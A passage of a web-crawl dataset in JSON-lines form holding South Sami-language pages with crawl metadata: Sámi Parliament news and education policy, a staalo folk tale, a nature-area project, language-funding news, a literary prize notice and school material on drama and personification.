bæjhkoehtamme nedtesijjesne Doffin.no. Deellememierie faalenasseste lea ruffien 7. b. 2019. Saemiedigkie gegkeste gellie hijven faalenassh åadtjodh.\n– Bïevnesh, daajroe jïh goerkese mijjese håhkoem vedtieh buektiehtidh evtiedimmiem siebriedahkeste jarkelidh akten buerebe otnjegen vööste, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Saemien-maanah-jih-noerh-edtjieh-aaadtjodh-haestiedihks-teemaj-bijre-lieredh-jijtsh-gielesne","date":"2019-05-25T05:56:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257889.72\/warc\/CC-MAIN-20190525044705-20190525070705-00187.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":192,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Gåebrehki soptsesh maam Knut Bergsland tjaaleme. Gærja voestes aejkien trygkesovvi jaepien 1943jïh mubpien aejkien jaepien 1987. Ella Holm Bull lea gærjam åarjel-saemien learoe-reaktoen mietie orresistie tjaaleme.\nAkte staaloe mij daktrem utni\nAkte staaloe mij aktem dakterem utni. Fearmas dïhte lij. Dellie vïjvem fihki, men idtji dïhte vïjve sïjhth staalojne tjåenghkesne årrodh. Dellie dïhte jåhtaji, dellie båarhte lin naan jaepiem.\nDellie staaloe healsoehti galkin bååstide båetedh. Men idtji daktaråbpoe sïjhth bååstide juhtedh. Men dïhte vïjvebe lïjhke juhti. Såå (die) ohtje maanam utnin. Gosse fraamme dalvin, dellie Rovhtege olkese bööti dåastoehti, jïh dellie jeehti: \"Baajh manne dam maanam guadtam gåatan.\" Dam maanam gujht ååjmestin, jïh bissin jïh maatadin.\nJïh vïjvebe göökte stoerre råahkh heanti. Jïh göökte staajnh åadtjesti jïh viedti dan loedte-bealese. Jïh dellie låavtegem tseegki. Dellie bearkoeh göödti gåatan, seangkoe-vaarjoeh, seangkoem leetjin, jïh dellie göökte gisse galth tjoehpi beeji seangkoen sïjse. Juktie dïhte daktaråbpoe mïeli man tïjjen staaloe provhki tjuedtjielidh jïh olkese gadtjedidh.\nDellie jïjtjh lin dan låavtegen ålkoelisnie. Dellie staaloe dalvi låavtegen sïjse sov stoerre beejline jïh damtehte seangkoem. Dellie damti gåabpegh lin desnie åerieminie. Dellie tjoehpesti -. Dellie dakteren nidtjie-boenge jåelkedi.\nDellie nåanastehtin dejtie staajnide jïh vöölkin vuejien dam loedteraejkiem bååstide. Jïh dellie goh staaloe vueptiesti aereden, dellie galki vaedtsedh dan låavtegen sïjse jïh vuejnedh. Dellie haarme sjïdti juktie lij nearrahtamme. Jïh dellie vöölki minngielistie galki dåalvodh jïh jaksedh. Men idtji måjhtijh dejtie staajnide, vienhti barre dah råahketassh. Jis lij måjhtajamme dejtie staajnide, dellie badth lij jakseme. Men dåalvoeji goske dan krisna-pruvvien vuestie. Men idtji dellie vielie nahkesjh guhkiebasse dåalvodh.\nMen dellie healsehti ahte galkin båetedh sijjen krievviem raerhkedh, for idtji dam sïjhth. Men idtjin badth dahkoe vuelkieh. Men dellie staaloe jïjtje reerhki jïh vuejehti dan krisna-pruvvien vuestie. Dellie fihkin jïjtjh destie vaeltedh. [1]\n- 1«Gåebrehki soptsesh». Bergsland, Knut. Universitetsforlaget. 1987.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\n- Kjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129307","date":"2019-05-25T08:28:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257920.67\/warc\/CC-MAIN-20190525064654-20190525090654-00154.warc.gz","language":"sma","language_score":0.9997147918,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9997147917747498}","num_words":404,"character_repetition_ratio":0.15,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Prosjekten Gränslandet:en bïjre\nGränslandet lea bïevneshprosjekte dah uktsie vaarjelamme eatnemedajvh mejtie mijjieh gåhtjobe \"Gränslandet\". Prosjekten åssjelh lea dutnjien aelhkebe darjodh gie dajvese guessine båatah jallh jienebe sïjhth daejredh. Maam gååvnese vuejnedh jïh aejhtsedh. Mah njoelkedassh jïh mah dejtie juakadehtieh ovmessie dajvine jïh laantine. Maam edtjh datne ussjedh gosse guessine båatah guktie ij maehtieh datnem goeredh Gränslandet:esne. Ektesne maehtebe mijjieh sinsitniem viehkiehtidh daam vierhtegs eatnemedajvem vaarjelidh båetije biejjide!\nDïhte lea Lïeneståvroe Jïemhten jïh Dalarna lïenine mah ektesne Fylhkemaennine Hedmarken jïh Åarjel-Trøndelagen fylhkine prosjektem juhtedh. Prosjekte 2009 raejeste 2011 raajan jåhta.\nDah njieljie åejvieladtji diedte lea dajvem sujhtedh jïh reeredh jïh leah guhkiem dejnie laavenjostedh. Laavenjostemen tjïrrh daarpoem aajhtseme bïevnesh Gränslandet:en nuepieh ålkoejielemasse jïh dan eatneme- jïh kultuvrevierhtieh.\nDam sæjhta jaksedh:\n- Buerebe nuepieh eatnemelïhke ålkoejielemasse jïh turismasse dajvesne,\n- jienebe bïevnesh dajven ålkoejielemekvaliteti bïjre jïh eatneme- jïh kultuvrevierhtieh,\n- unnebe napkeme jïh eatnemebyjresem stuvredh,\n- buerebe båatsoem dajvesne vaarjelidh,\n- stuerebe guarkoe vaarjelimmie, gorredimmie jïh reereme varjelamme eatnemem jïh,\n- jienebe ektiebarkoe eatnemereeremh Nöörjesne jïh Sveerjesne.\nDennie webbesijjine lea jaepien 2011 barkeme. Seamma sïenten lea ektie gærjetjem dorjeme jïh aaj skïlth jïh bïevneshskïlth mah leah 61ovmessie sijjine biejeme Gränslandet:en sisnie jïh vihkeles sijjiej lïhke.\nBarkoem lea Interreg-prosjekten tjïrrh jåhteme mah EU lea maakseme jïh aaj eatnemevaarjelimmiebeetneginie nöörjen jïh sveerjen staatijste. Jaepien 2011 mænngan edtjieh dah njieljie reeremh jåerhkedh laavenjostedh prosjekten Gränslandet:en tjïrrh.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/graenslandet.se\/sv\/news\/135-prosjekten-graenslandeten-bijre-","date":"2019-05-25T19:12:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258439.57\/warc\/CC-MAIN-20190525184948-20190525210948-00299.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":50,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":211,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.19,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sametingsrådet støtter det sørsamiske språkprosjektet Saamastalledh – kommunikativ språkinnlæring fase 1 og oversettelse av bibeltekster til sørsamisk, skriver Sametinget i en pressemelding.\nSametingsrådet har gitt tilsagn om støtte på kr 2 670 000 til prosjektet Saamastalledh – kommunikativ språkinnlæring fase 1, som Trøndelag fylkeskommune ved Aajege samisk språk- og kompetansesenter hadde søkt om tilskudd til.\nMålet med prosjektet er å beskrive og utvikle en metode i kommunikativ språkinnlæring for sørsamisk språk i henhold til Ulpan-metoden, og samtidig utvikle læringsressurser og heve kompetansen for lærere. Med prosjektet vil man blant annet skape en kvalitativ bedre opplæring i sørsamisk språk, uavhengig av geografi, skole og enkeltlærer, og øke antall aktive språkbrukere i sørsamisk.\nProsjektet skal også styrke samarbeidet mellom de sørsamiske fagmiljøene på grunnskole og videregående skoles nivå ved at alle miljøene skal delta i prosjektet.\nSkal oversette kirkeårets bibeltekster\nSametingsrådet har også gitt Det Norske Bibelselskap tilsagn om tilskudd på kr 300 000 til sørsamisk bibeloversetting. Formålet er å oversette kirkeårets bibeltekster til sørsamisk.\nSametingspresident Aili Keskitalo sier at det er viktig å støtte opp sørsamiske prosjekter.\n– Spesielt viktig er det at sørsamiske læremidler blir tilgjengelige, at det utarbeides metoder for språkopplæring og at kompetansen blant lærere løftes.\nKeskitalo synes også det er nødvendig at sørsamiske bibeltekster blir oversatt.\n– Bibeltekstene på samisk bidrar til å styrke kirken som en offentlig sørsamisk språkarena. Dette kan også styrke synligheten og statusen av sørsamisk språk og kultur i samfunnet.\nGöökte åarjelsaemien prosjekth dåårje\nSaemiedigkieraerie dam åarjelsaemien gïeleprosjeektem Saamastalledh – kommunikatijve gïelelïerehtimmie 1. boelhke jïh jarkoestimmiem bijpeleteekstijste åarjelsaemien gïelese.\nSaemiedigkieraerie lea luhpiem dåarjoen bïjre 2 670 000 kråvnine vadteme prosjektese Saamastalledh – kommunikatijve gïelelïerehtimmie 1. boelhke, mïsse Trööndelagen fylhkentjïelte Aajege saemien gïele- jïh maahtoejarngen baaktoe lij dåarjoem ohtsedamme.\nProsjekten ulmie lea aktem vuekiem kommunikatijve gïelelïerehtimmesne åarjelsaemien gïelese Ulpan-vuekien mietie buerkiestidh jïh evtiedidh, jïh seamma tïjjen lïerehtimmievierhtieh evtiedidh jïh maahtoem lohkehtæjjide lutnjedh. Prosjektine sæjhta gaskem jeatjah aktem kvalitatijve buerebe lïerehtimmiem åarjelsaemien gïelesne sjugniedidh, mij ij leah jearohke årromesijjeste, skuvleste jïh lohkehtæjjeste, jïh låhkoem eadtjohke gïeleutnijijstie åarjelsaemien gïelesne lissiehtidh.\nProsjekte edtja aaj laavenjostoem nænnoestehtedh dej åarjelsaemien faagebyjresi gaskem maadthskuvlesne jïh jåarhkeskuvlesne dan åvteste gaajhkh byjresh edtjieh meatan årrodh prosjektesne.\nEdtja gærhkoejaepien bijpeleteeksth jarkoestidh\nSaemiedigkieraerie aaj dåarjoem 300 000 kråvnine vadteme sïeltese Det Norske Bibelselskap bijpelejarkoestæmman. Åssjele lea gærhkoejaepien bijpeleteeksth åarjelsaemien gïelese jarkoestidh.\nSaemiedigkieraerie Aili Keskitalo jeahta vihkeles åarjelsaemien prosjekth dåarjodh.\n–Joekoen vihkeles åarjelsaemien learoevierhtieh gååvnesieh, guktie vuekieh gïelelïerehtæmman evtiesuvvieh jïh maahtoe lohkehtæjjaj luvnie buerebe læssene.\nKeskitalo aaj tuhtjie daerpies åarjelsaemien bijpeleteeksth jarkoestidh.\n–Bijpeleteeksth saemiengïelesne viehkiehtieh gærhkoem nænnoestehtedh goh akte byögkeles åarjelsaemien gïelesijjie. Daate aaj maahta viehkiehtidh åarjelsaemien gïelem jïh kultuvrem våajnoes darjodh siebriedahkesne jïh gïelen jïh kultuvren statusem nænnoestehtedh.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/rorosnytt.no\/26-millioner-til-aajege\/","date":"2019-05-19T20:21:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255165.2\/warc\/CC-MAIN-20190519201521-20190519223521-00343.warc.gz","language":"sma","language_score":0.9723502994,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9723502993583679, \"sme_Latn_score\": 0.025338590145111084}","num_words":414,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sjïelem åådtje gærjan åvteste \"Forvandlinga\".\nJïjnjh lahkoe Havmann-sjïeline, Kathrine Nedrejord. Daam sjïelem dan gærjan åvteste \"Forvandlinga\" åådtje. Kathrine Nedrejord (Reakadamme. 1987) lea daaroen jïh saemien tjaelije, dramatihkere jïh scenetjiehpije, jïh Kjøllefjordeste båata. Nedrejorden voestes romaane \"Transitt\" jaepien 2010 bööti. Altese mubpie romaane \"Trengsel\", jaepien 2014 jïh jaepien 2018 dellie romaanem \"Forvandlinga\" bæjhkoehti.\nRomaane \"Forvandlinga\" tjaelije jïjtse bïjre jïh sexuelle vædtsoehvoeten bïjre tjaala. Gærjine \"Forvandlinga\" dellie aalka jïjtje jïjtse jielemem stuvredh. Naemhtie gærjan bïjre tjaalasovveme: K. julmieslaakan sohkesjovvi, jïlhts jïjtje pragmatihkere jïh sæjhta barre åvtese vaedtsedh, åajaldehtedh, dle eah jïjtjehke redtie jïh åejjieh mealtan. Badth, gosse gaajhke dovne vååjnoe tjååhpedeminie, dellie kaanne læjhkan naan nuepieh desnie vihth jielemem tseegkedh. Kathrine Nedrejord daennie gærjesne jielemen nåake jïh geerve bielide dåajmijeslaakan lohkijidie buakta».\n«Gratulerer med Havmannprisen Kathrine Nedrejord\nHun får prisen for boka Forvandlinga. Kathrine Nedrejord (f. 1987) er en norsk og samisk forfatter, dramatiker og scenekunstner, og kommer opprinnelig fra Kjøllefjord. Nedrejord debuterte i 2010 med romanen Transitt. Hennes andre roman, Trengsel, utkom i 2014 og i 2018 kom hun ut med romanen Forvandlinga.\nRomanen Forvandlinga beskriver en selvopplevd fundamental hendelse, nemlig å bli voldtatt. Med boka Forvandlinga tar hun kontrollen over eget liv. Omtale om boka sier: K. blir utsatt for en overfallsvoldtekt, og selv om hun vil være pragmatisk og komme raskt over det, viser det seg at kroppen og psyken gjør som den vil. Men selv når livet er på sitt mørkeste finnes det kanskje måter å bygge det opp igjen.\nKathrine Nedrejord makter å skildre ubekvemme realiteter på lesverdige måter, i en dyptloddende og kjenslevar fortelling.»\nTeksten er publisert av Rana bibliotek, og oversatt av Maja Lisa Kappfjell","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/gsj.nfk.no\/sjielem-aadtje-gaerjan-avteste-forvandlinga\/","date":"2019-05-26T07:11:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258862.99\/warc\/CC-MAIN-20190526065059-20190526091059-00367.warc.gz","language":"sma","language_score":0.8903865814,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.8903865814208984, \"nob_Latn_score\": 0.079351507127285, \"sme_Latn_score\": 0.025642365217208862}","num_words":262,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":0.89,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Silpeaska\n\n\nSissel Horndal\nMáttasámegillii\nSilpeaske lea guvviegćrja saemien heamture-eatnemistie noeride jďh stuerebe maanide.\nStaaloe noere nďejtem hemhkehte mearan bovhtside rřřjnesjeminie. Staaloe nďejtem jďh bovhtside rřřvi jďjtjes gĺatan. Daesnie nďejte ĺadtjoe veeljedh medtie sďjhth sĺemies staaloebaernien gĺmmine jallh beabpojne sjďdtedh. Bene hĺhkoe gĺĺvnese. Faamosne lea jďjnje vćjsastalleme-voete jďh haaljoeh.\nSiiddut: 42\nGarra olggoš\nISBN: 978-82-8263-162-4","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.calliidlagadus.org\/web\/index.php?egavpi=1&girji=417&giella1=sam","date":"2019-05-21T09:52:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256314.25\/warc\/CC-MAIN-20190521082340-20190521104340-00219.warc.gz","language":"sma","language_score":0.9980985522,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9980985522270203}","num_words":52,"character_repetition_ratio":0.026,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mænngan goh ööhpehtimmielaakem Nöörjesne sjïehtesji, gaajhkh saemien learohkh aktem jïjtse reaktam utnieh saemien lïerehtimmiem skuvlesne åadtjodh. Jïjnjh saemienlearohkh leah dajvine årroeminie gusnie stïeres saemienlohkehtæjjah eah gååvnesh. Daagkeri veajkoej skuvleaajhtere tjuara jeatjah lïerehtimmiehammoeh saemiengïelesne faalehtidh. Dïhte mij jeenjemes åtnasåvva lea maajhööhpehtimmie. Gærja \"Samiske tall forteller\" lea aarebi vihtiestamme ahkedh jienebh saemieh Nöörjesne staaride juhtieh. Dan åvteste dle saemien maajhööhpehtimmie sæjhta daerpiesåbpoe sjïdtedh jaepiej åvtese.\nDaate kapihtele saemien maajhööhpehtimmiem gïehtjede aktene histovreles perspektijvesne, jïh evtiedimmiem learohkelåhkoste vuartesje dej minngemes luhkie jaepiej, dovne åarjel-, julev- jïh noerhtesaemien gïelesne. Juktie maajhööhpehtimmien låhkoem dehtie ållesth learohkelåhkoste saemien gïelesne daejriehtidh, dle taalide aaj dejnie ållesth saemien learohkelåhkojne vierteste.\nMuvhtine faagebyjresinie maajhööhpehtimmiem utnieh goh akte nåakebe lïerehtimmievuekie. Jïh daesnie fåantoe lea jienebh mytah goh faaktah. Maajhööhpehtimmie maahta eevre seamma hijven (jallh ij dan hijven) goh jeatjah lïerehtimmie. Learohkh mah sijjen saemienlïerehtimmiem åadtjoeh maajhööhpehtimmien tjïrrh, edtjieh aaj dejtie seamma maahtoeulmide haalvedh learoesoejkesjisnie goh jeatjah saemienlearohkh, jïh seammalaakan vuarjasjamme sjïdtedh. Dan åvteste vihkeles saemien maajhööhpehtimmie lea seammavyörtegs jeatjah saemienlïerehtimmine, jïh dan gaavhtan aaj goh gaajhke jeatjah gïelelïerehtimmie.\nMaajhööhpehtimmie lea jeenjemasth akte råajvarimmie aalkoealmetjijstie orreme, gosse juhteme staaride lea innovatijve lïerehtimmiehammoeh krïeveme. Kanada lea dej voestes gaskem orreme mij daejnie lïerehtimmievuekine eelki dejtie First Nations-almetjidie mah staarine jïh stuerebe sijjine årroejin, jïh idtjin stïeres lohkehtæjjam indianeregïelesne utnieh. Nöörjesne åajvahkommes saemieh mah lïerehtimmiem maajhööhpehtimmien tjïrrh åadtjoeh, guktie aaj daesnie dle akte tjïelke aalkoealmetjedimensjovne.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/samilogutmuitalit.no\/en\/node\/3974","date":"2019-05-19T21:13:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255165.2\/warc\/CC-MAIN-20190519201521-20190519223521-00459.warc.gz","language":"sma","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":99,"top_langs":"{\"sma_Latn_score\": 1.0000070333480835}","num_words":222,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Draama lea tjiehpies-lidteratuvren teekste mij lea dorjehtæmman scenesne tjaaleme. Draama-tjaalege, mij aaj maehtebe manuskriptem gohtjedh, lea filme-dorjemen jallh teatere-dorjehtimmien våarome.\nDraamesne ij ajve baakoeh vihkele, men aaj tjoevkesh, tjoeje, musihke, sminke, scene-vaarjoeh jïh scene-guvvie. Maehtebe jiehtedh draama dovne tjaaleldh sjangere jïh njaalmeldh ektie-bïejeme tjaalege.\nJoekehtsh draamatihke jïh epihke diktadimmiej gaskem\nSoptsesinie soptsestæjja dahkoem geerjehte, jïh maam dïhte soptsestæjja soptseste lea joe heannadamme. Teatere-dorjehtimmesne jallh filmesne dellie vuartasjæjjah dahkoem daelie jïh daesnie vuejnieh jïh dååjrieh. Soptsestæjja maahta almetji aajkoej jïh domtesi bïjre soptsestidh. Men vuartasjæjjah tjuerieh dorjehtimmesne toelhkestidh replihkh, kråahpe-gïelem, vaarjoeh jïh jeatjah væhtah jïh dellie ussjedidh gïeh dah karakterh scenesne jïh man gaavhtan darjoeh guktie darjoeh.\nDraamaKjernestoff\nRaahkele-PiereKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:176552\/topic:1:182306\/resource:1:173865","date":"2019-05-25T08:17:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257920.67\/warc\/CC-MAIN-20190525064654-20190525090654-00219.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":108,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Personifikasjovne joekoen sïejhme gïeleviehkie-dïrrege, dellie maam akt, mij lea abstrakte, almetjen jïjtsevoeth åådtje. Maehtebe personifikasjovnem nuhtjedh gosse soptsestibie jïh tjaelebe, men maehtebe aaj kåanstesne nuhtjedh.\nDaesnie naan vuesiehtimmieh:\n- Tïjje haelehte\n- Frijjevoete akte voelpe\n- Jemhkelde guavla [1]\nVuesiehtimmie kåansteste\nGosse mijjieh mïsse akt abstrakte almetji jïjtsevoeth vedtebe, dellie mijjese aelhkebe dam guarkedh. Tjiehpiedæjja Theodor Kittelsen guvvieh dorjeme gærjesne Svartedauden. Kittelsen lea sohtem guvviedamme goh almetjinie. Naemhtie sohte mij akt mij maahta gaajhkesidie båetedh. Aaj guarkebe guktie almetjh bïllijin jïh asvedin, sohte edtji jïjtse gåatan guessine båetedh.\nVuesiehtimmie litteratuvreste\nGærjesne Aarporten jïh åarjelsaemien smaaregh maehtebe soptsesem Klies Kliemman bïjre lohkedh. Soptsesisnie jaememe lea almetji hammoem åådtjeme. Jaememe jaemie-aajmoen voejkenh mah båetieh Klies Kliemman åemie gåmmebem veedtjedh.\n- 1«Lyrihke jïh draama. Sjangerheefte 3». Palto, Kirsi. ABC-Company E-skuvla AS. 2014.\nAllegorijeKjernestoff\nAllusjovneKjernestoff\nEufemisme jïh dysfemismeKjernestoff\nSealoedimmieKjernestoff\nLaejhtehkeKjernestoff\nRijme jïh jievkehtimmieKjernestoff\nMubpesth jiehtedhKjernestoff\nKontrasteKjernestoff\nMetonymijeKjernestoff\n- Kjernestoff\nViertiestimmie, metafovre jïh klisjeKjernestoff\nSymbolhKjernestoff\nLaavenjassh: AllegorijeKjernestoff\nLaavenjassh: Eufemisme jïh dysfemismeKjernestoff\nLaavenjassh: SealoedimmieKjernestoff\nLaavenjassh: KontrasteKjernestoff\nLaavenjassh: Mubpesth jiehtedhKjernestoff\nLaavenjassh: PersonifikasjovneKjernestoff\nLaavenjassh: SymbolhKjernestoff\nMan jïjnjem maahtah?Kjernestoff\nMaam maahtah?Kjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:166611\/topic:1:182229\/resource:1:158055","date":"2019-05-23T21:56:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257396.96\/warc\/CC-MAIN-20190523204120-20190523230120-00266.warc.gz","language":"sma","language_score":0.99969697,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9996969699859619}","num_words":164,"character_repetition_ratio":0.135,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Learoesoejkesjh\n- Learoevierhtieh\n- Maadthlïerehtimmie\n- Faageorrestimmie\n- Barkoe irhkemen vööste\n- Dotkeme jïh jollebe ööhpehtimmie\nRaerielïhtsege\nKrirrie: NSR\nSaemiedigkie tuhtjie vihkeles aktine ellies saemien ööhpehtimmiepolitihkine. Daajroe lea vihkeles siebriedahkeevtiedimmien gaavhtan. Maanagïertem, maadthlïerehtimmiem, jollebe ööhpehtimmiem jïh dotkemem dåarjoehtidh lea eevre vihkeles jis saemien siebriedahke edtja evtiesovvedh saemien aarvoej, visjovni, prioriteradimmiej jïh premissi mietie.\nSaemiedigkie sæjhta:\n- Saemien perspektijve gorresåvva nasjonaale, noerhtelaanten jïh gaskenasjonaale politihkesne ööhpehtæmman jïh dotkemasse.\n- Saemien perspektijve gorresåvva laakine jïh stuvremetjaatseginie maanagïertese, maadthlïerehtæmman, jollebe ööhpehtæmman jïh dotkemasse.\n- Saemieh dam maahtoem, daajroeh jïh tjiehpiesvoeth åadtjoeh mah krïevesuvvieh juktie jieliedisnie bïerkenidh, juktie maehtedh saemien gïelem jïh saemien siebriedahkem vaarjelidh jïh evtiedidh, jïh eadtjohkelaakan meatan årrodh saemien, nasjonaale jïh gaskenasjonaale siebriedahkesne.\n- Daaroeh hijven daajroeh åadtjoeh saemien kultuvren, siebriedahken jih histovrijen bïjre.\nByjjenimmie- jïh lïerehtimmiegoevtesen barkijh jïh gaskesadtemebïevnesh\nLearoesoejkesjh\nLearoesoejkesjh leah mieriedimmieh faagi bïjre, ulmiej bïjre lïerehtæmman, gamtoen bïjre lïerehtimmeste jïh tjïrrehtimmien bïjre lïerehtimmeste. Lissine dan sïejhme learoesoejkesjevearhkan Maahtoelutnjeme, akte jïjtsesaemien learoesoejkesjevierhkie gååvnese Learoesoejkesjevierhkie Maahtoelutnjemasse – Saemien.\nBijjemes bielie- aarvoeh jïh prinsihph maadthlïerehtæmman lea akte bielie learoesoejkesjevierhkeste jïh lea ektie nöörjen maadthlïerehtæmman jïh saemien maadthlïerehtæmman. Aarebi prinsihph lïerehtæmman saemien skuvlesne lin aktene jïjtse tjaatsegisnie. Orre bijjemes bielie edtja daan beajjetje Sïejhme bielien åvteste båetedh, Prinsihph lïerehtæmman jïh Prinsihph lïerehtæmman – saemien.\nReerenasse lea bijjemes bieliem vihtiestamme, men ij leah faamoem åådtjeme annje. Daan biejjien Sïejhme bielie mij lea faamosne. Mennie mieresne dïhte orre bijjemes bielie faamoem åådtje sæjhta jearohke årrodh orrestimmeste learoesoejkesjijstie.\nLearoevierhtieh\nSaemiedigkien lea dïedte evtiedimmien åvteste saemien learoevierhtijste noerhte-, åarjel- jïh julevsaemien gïelesne. Saemiedigkie barka ihke saemien learohkh saemien learoevierhtieh utnieh mah leah daaletje learoesoejkesjevierhkien mietie noerhte-, julev- jïh åarjelsaemien gïelesne, jïh hijven bïevnesh dej bïjre gååvnesieh.\nMijjieh libie premissedeallahtæjja juktie saemien learoevierhtieh evtiedidh jïh beetnehvierhtieh dåarjobe saemien learoevierhtieprosjektide. Saemiedigkie ulmiem, strategijh jïh råajvarimmieh tjïerteste viehkievierhtide juktie learoevierhtieh evtiedidh soejkesjevierhkiej jïh budsjedteprosessi tjïrrh. Saemiedigkie vierhtieh joekede, vaaksjoste jïh gïehtjede dåarjoem learoevierhtide mierien sisnjelen laakijste jïh njoelkedassijste. Saemiedigkie sov learoevierhtiebarkoem ektede dan nænnoestamme dahkoesoejkesjasse learoevierhtieevtiedæmman 2015-2018. Dahkoesoejkesje ållermaahta visjovnh, råajvarimmieh jïh fokusesuerkieh juktie learoevierhtieh evtiedidh daaletje soejkesjevierhkiej mietie.\nDåarjoe evtiedæmman learoevierhtijste\nSaemiedigkie fïerhten jaepien dåarjoem evtiedæmman saemien learoevierhtijste joekede. Saemiedigkien dahkoesoejkesje evtiedæmman learoevierhtijste 